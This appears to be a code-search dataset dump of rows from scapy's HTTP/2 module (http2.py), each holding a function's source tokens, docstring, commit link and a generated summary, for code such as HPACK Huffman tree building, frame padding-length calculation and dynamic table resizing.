representation. It returns a tuple of the bitstring and its bitlength. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackZString.huffman_compute_decode_tree | def huffman_compute_decode_tree(cls):
# type: () -> None
""" huffman_compute_decode_tree initializes/builds the static_huffman_tree
@return None
@raise InvalidEncodingException if there is an encoding problem
"""
cls.static_huffman_tree = HuffmanNode(None, None)
... | python | def huffman_compute_decode_tree(cls):
# type: () -> None
""" huffman_compute_decode_tree initializes/builds the static_huffman_tree
@return None
@raise InvalidEncodingException if there is an encoding problem
"""
cls.static_huffman_tree = HuffmanNode(None, None)
... | [
"def",
"huffman_compute_decode_tree",
"(",
"cls",
")",
":",
"# type: () -> None",
"cls",
".",
"static_huffman_tree",
"=",
"HuffmanNode",
"(",
"None",
",",
"None",
")",
"i",
"=",
"0",
"for",
"entry",
"in",
"cls",
".",
"static_huffman_code",
":",
"parent",
"=",
... | huffman_compute_decode_tree initializes/builds the static_huffman_tree
@return None
@raise InvalidEncodingException if there is an encoding problem | [
"huffman_compute_decode_tree",
"initializes",
"/",
"builds",
"the",
"static_huffman_tree"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1161-L1181 | train | Compute the decode tree for the static_huffman_tree. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackHdrString.self_build | def self_build(self, field_pos_list=None):
# type: (Any) -> str
"""self_build is overridden because type and len are determined at
build time, based on the "data" field internal type
"""
if self.getfieldval('type') is None:
self.type = 1 if isinstance(self.getfieldval... | python | def self_build(self, field_pos_list=None):
# type: (Any) -> str
"""self_build is overridden because type and len are determined at
build time, based on the "data" field internal type
"""
if self.getfieldval('type') is None:
self.type = 1 if isinstance(self.getfieldval... | [
"def",
"self_build",
"(",
"self",
",",
"field_pos_list",
"=",
"None",
")",
":",
"# type: (Any) -> str",
"if",
"self",
".",
"getfieldval",
"(",
"'type'",
")",
"is",
"None",
":",
"self",
".",
"type",
"=",
"1",
"if",
"isinstance",
"(",
"self",
".",
"getfiel... | self_build is overridden because type and len are determined at
build time, based on the "data" field internal type | [
"self_build",
"is",
"overridden",
"because",
"type",
"and",
"len",
"are",
"determined",
"at",
"build",
"time",
"based",
"on",
"the",
"data",
"field",
"internal",
"type"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1330-L1337 | train | This method is overridden because type and len are determined at the build time based on the data field internal type and len. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackHeaders.dispatch_hook | def dispatch_hook(cls, s=None, *_args, **_kwds):
# type: (Optional[str], *Any, **Any) -> base_classes.Packet_metaclass
"""dispatch_hook returns the subclass of HPackHeaders that must be used
to dissect the string.
"""
if s is None:
return config.conf.raw_layer
... | python | def dispatch_hook(cls, s=None, *_args, **_kwds):
# type: (Optional[str], *Any, **Any) -> base_classes.Packet_metaclass
"""dispatch_hook returns the subclass of HPackHeaders that must be used
to dissect the string.
"""
if s is None:
return config.conf.raw_layer
... | [
"def",
"dispatch_hook",
"(",
"cls",
",",
"s",
"=",
"None",
",",
"*",
"_args",
",",
"*",
"*",
"_kwds",
")",
":",
"# type: (Optional[str], *Any, **Any) -> base_classes.Packet_metaclass",
"if",
"s",
"is",
"None",
":",
"return",
"config",
".",
"conf",
".",
"raw_la... | dispatch_hook returns the subclass of HPackHeaders that must be used
to dissect the string. | [
"dispatch_hook",
"returns",
"the",
"subclass",
"of",
"HPackHeaders",
"that",
"must",
"be",
"used",
"to",
"dissect",
"the",
"string",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1346-L1360 | train | This is a private method that returns the subclass of base_classes. Packet_metaclass_base. HPackHeaderBase that must be used
to dissect the string. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | H2PaddedDataFrame.get_data_len | def get_data_len(self):
# type: () -> int
""" get_data_len computes the length of the data field
To do this computation, the length of the padlen field and the actual
padding is subtracted to the string that was provided to the pre_dissect # noqa: E501
fun of the pkt parameter
... | python | def get_data_len(self):
# type: () -> int
""" get_data_len computes the length of the data field
To do this computation, the length of the padlen field and the actual
padding is subtracted to the string that was provided to the pre_dissect # noqa: E501
fun of the pkt parameter
... | [
"def",
"get_data_len",
"(",
"self",
")",
":",
"# type: () -> int",
"padding_len",
"=",
"self",
".",
"getfieldval",
"(",
"'padlen'",
")",
"fld",
",",
"fval",
"=",
"self",
".",
"getfield_and_val",
"(",
"'padlen'",
")",
"padding_len_len",
"=",
"fld",
".",
"i2le... | get_data_len computes the length of the data field
To do this computation, the length of the padlen field and the actual
padding is subtracted to the string that was provided to the pre_dissect # noqa: E501
fun of the pkt parameter
@return int; length of the data part of the HTTP/2 fra... | [
"get_data_len",
"computes",
"the",
"length",
"of",
"the",
"data",
"field"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1469-L1485 | train | This function computes the length of the data part of the HTTP/2 frame packet. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | H2PaddedPriorityHeadersFrame.get_hdrs_len | def get_hdrs_len(self):
# type: () -> int
""" get_hdrs_len computes the length of the hdrs field
To do this computation, the length of the padlen field, the priority
information fields and the actual padding is subtracted to the string
that was provided to the pre_dissect fun of... | python | def get_hdrs_len(self):
# type: () -> int
""" get_hdrs_len computes the length of the hdrs field
To do this computation, the length of the padlen field, the priority
information fields and the actual padding is subtracted to the string
that was provided to the pre_dissect fun of... | [
"def",
"get_hdrs_len",
"(",
"self",
")",
":",
"# type: () -> int",
"padding_len",
"=",
"self",
".",
"getfieldval",
"(",
"'padlen'",
")",
"fld",
",",
"fval",
"=",
"self",
".",
"getfield_and_val",
"(",
"'padlen'",
")",
"padding_len_len",
"=",
"fld",
".",
"i2le... | get_hdrs_len computes the length of the hdrs field
To do this computation, the length of the padlen field, the priority
information fields and the actual padding is subtracted to the string
that was provided to the pre_dissect fun of the pkt parameter.
@return int: the length of the hdr... | [
"get_hdrs_len",
"computes",
"the",
"length",
"of",
"the",
"hdrs",
"field"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1619-L1644 | train | This method computes the length of the hdrs field
. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | H2PaddedPushPromiseFrame.get_hdrs_len | def get_hdrs_len(self):
# type: () -> int
""" get_hdrs_len computes the length of the hdrs field
To do this computation, the length of the padlen field, reserved,
stream_id and the actual padding is subtracted to the string that was
provided to the pre_dissect fun of the pkt par... | python | def get_hdrs_len(self):
# type: () -> int
""" get_hdrs_len computes the length of the hdrs field
To do this computation, the length of the padlen field, reserved,
stream_id and the actual padding is subtracted to the string that was
provided to the pre_dissect fun of the pkt par... | [
"def",
"get_hdrs_len",
"(",
"self",
")",
":",
"# type: () -> int",
"fld",
",",
"padding_len",
"=",
"self",
".",
"getfield_and_val",
"(",
"'padlen'",
")",
"padding_len_len",
"=",
"fld",
".",
"i2len",
"(",
"self",
",",
"padding_len",
")",
"bit_len",
"=",
"self... | get_hdrs_len computes the length of the hdrs field
To do this computation, the length of the padlen field, reserved,
stream_id and the actual padding is subtracted to the string that was
provided to the pre_dissect fun of the pkt parameter.
@return int: the length of the hdrs field
... | [
"get_hdrs_len",
"computes",
"the",
"length",
"of",
"the",
"hdrs",
"field"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1834-L1855 | train | This method computes the length of the hdrs field
. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | H2Frame.guess_payload_class | def guess_payload_class(self, payload):
# type: (str) -> base_classes.Packet_metaclass
""" guess_payload_class returns the Class object to use for parsing a payload
This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be # noqa: E501
per... | python | def guess_payload_class(self, payload):
# type: (str) -> base_classes.Packet_metaclass
""" guess_payload_class returns the Class object to use for parsing a payload
This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be # noqa: E501
per... | [
"def",
"guess_payload_class",
"(",
"self",
",",
"payload",
")",
":",
"# type: (str) -> base_classes.Packet_metaclass",
"if",
"len",
"(",
"payload",
")",
"==",
"0",
":",
"return",
"packet",
".",
"NoPayload",
"t",
"=",
"self",
".",
"getfieldval",
"(",
"'type'",
... | guess_payload_class returns the Class object to use for parsing a payload
This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be # noqa: E501
performed using the simple bind_layers helper because sometimes the selection of which Class object to return ... | [
"guess_payload_class",
"returns",
"the",
"Class",
"object",
"to",
"use",
"for",
"parsing",
"a",
"payload",
"This",
"function",
"uses",
"the",
"H2Frame",
".",
"type",
"field",
"value",
"to",
"decide",
"which",
"payload",
"to",
"parse",
".",
"The",
"implement",
... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1999-L2054 | train | This function returns the Class object to use for parsing a payload. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackHdrTable.resize | def resize(self, ns):
# type: (int) -> None
"""Resize the dynamic table. If the new size (ns) must be between 0 and
the cap size. If the new size is lower than the current size of the
dynamic table, entries are evicted.
@param int ns: the new size of the dynamic table
@ra... | python | def resize(self, ns):
# type: (int) -> None
"""Resize the dynamic table. If the new size (ns) must be between 0 and
the cap size. If the new size is lower than the current size of the
dynamic table, entries are evicted.
@param int ns: the new size of the dynamic table
@ra... | [
"def",
"resize",
"(",
"self",
",",
"ns",
")",
":",
"# type: (int) -> None",
"assert",
"0",
"<=",
"ns",
"<=",
"self",
".",
"_dynamic_table_cap_size",
",",
"'EINVAL: ns: out-of-range value; expected value is in the range [0;{}['",
".",
"format",
"(",
"self",
".",
"_dyna... | Resize the dynamic table. If the new size (ns) must be between 0 and
the cap size. If the new size is lower than the current size of the
dynamic table, entries are evicted.
@param int ns: the new size of the dynamic table
@raise AssertionError | [
"Resize",
"the",
"dynamic",
"table",
".",
"If",
"the",
"new",
"size",
"(",
"ns",
")",
"must",
"be",
"between",
"0",
"and",
"the",
"cap",
"size",
".",
"If",
"the",
"new",
"size",
"is",
"lower",
"than",
"the",
"current",
"size",
"of",
"the",
"dynamic",... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L2312-L2326 | train | Resize the dynamic table. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackHdrTable.recap | def recap(self, nc):
# type: (int) -> None
"""recap changes the maximum size limit of the dynamic table. It also
proceeds to a resize(), if the new size is lower than the previous one.
@param int nc: the new cap of the dynamic table (that is the maximum-maximum size) # noqa: E501
... | python | def recap(self, nc):
# type: (int) -> None
"""recap changes the maximum size limit of the dynamic table. It also
proceeds to a resize(), if the new size is lower than the previous one.
@param int nc: the new cap of the dynamic table (that is the maximum-maximum size) # noqa: E501
... | [
"def",
"recap",
"(",
"self",
",",
"nc",
")",
":",
"# type: (int) -> None",
"assert",
"(",
"nc",
">=",
"0",
")",
"t",
"=",
"self",
".",
"_dynamic_table_cap_size",
">",
"nc",
"self",
".",
"_dynamic_table_cap_size",
"=",
"nc",
"if",
"t",
":",
"# The RFC is no... | recap changes the maximum size limit of the dynamic table. It also
proceeds to a resize(), if the new size is lower than the previous one.
@param int nc: the new cap of the dynamic table (that is the maximum-maximum size) # noqa: E501
@raise AssertionError | [
"recap",
"changes",
"the",
"maximum",
"size",
"limit",
"of",
"the",
"dynamic",
"table",
".",
"It",
"also",
"proceeds",
"to",
"a",
"resize",
"()",
"if",
"the",
"new",
"size",
"is",
"lower",
"than",
"the",
"previous",
"one",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L2328-L2342 | train | This method changes the maximum size limit of the dynamic table. It also updates the dynamic table cap size to match the new size of the dynamic table. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackHdrTable._reduce_dynamic_table | def _reduce_dynamic_table(self, new_entry_size=0):
# type: (int) -> None
"""_reduce_dynamic_table evicts entries from the dynamic table until it
fits in less than the current size limit. The optional parameter,
new_entry_size, allows the resize to happen so that a new entry of this
... | python | def _reduce_dynamic_table(self, new_entry_size=0):
# type: (int) -> None
"""_reduce_dynamic_table evicts entries from the dynamic table until it
fits in less than the current size limit. The optional parameter,
new_entry_size, allows the resize to happen so that a new entry of this
... | [
"def",
"_reduce_dynamic_table",
"(",
"self",
",",
"new_entry_size",
"=",
"0",
")",
":",
"# type: (int) -> None",
"assert",
"(",
"new_entry_size",
">=",
"0",
")",
"cur_sz",
"=",
"len",
"(",
"self",
")",
"dyn_tbl_sz",
"=",
"len",
"(",
"self",
".",
"_dynamic_ta... | _reduce_dynamic_table evicts entries from the dynamic table until it
fits in less than the current size limit. The optional parameter,
new_entry_size, allows the resize to happen so that a new entry of this
size fits in.
@param int new_entry_size: if called before adding a new entry, the... | [
"_reduce_dynamic_table",
"evicts",
"entries",
"from",
"the",
"dynamic",
"table",
"until",
"it",
"fits",
"in",
"less",
"than",
"the",
"current",
"size",
"limit",
".",
"The",
"optional",
"parameter",
"new_entry_size",
"allows",
"the",
"resize",
"to",
"happen",
"so... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L2344-L2361 | train | _reduce_dynamic_table evicts entries from the dynamic table until the current size limit is reached. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.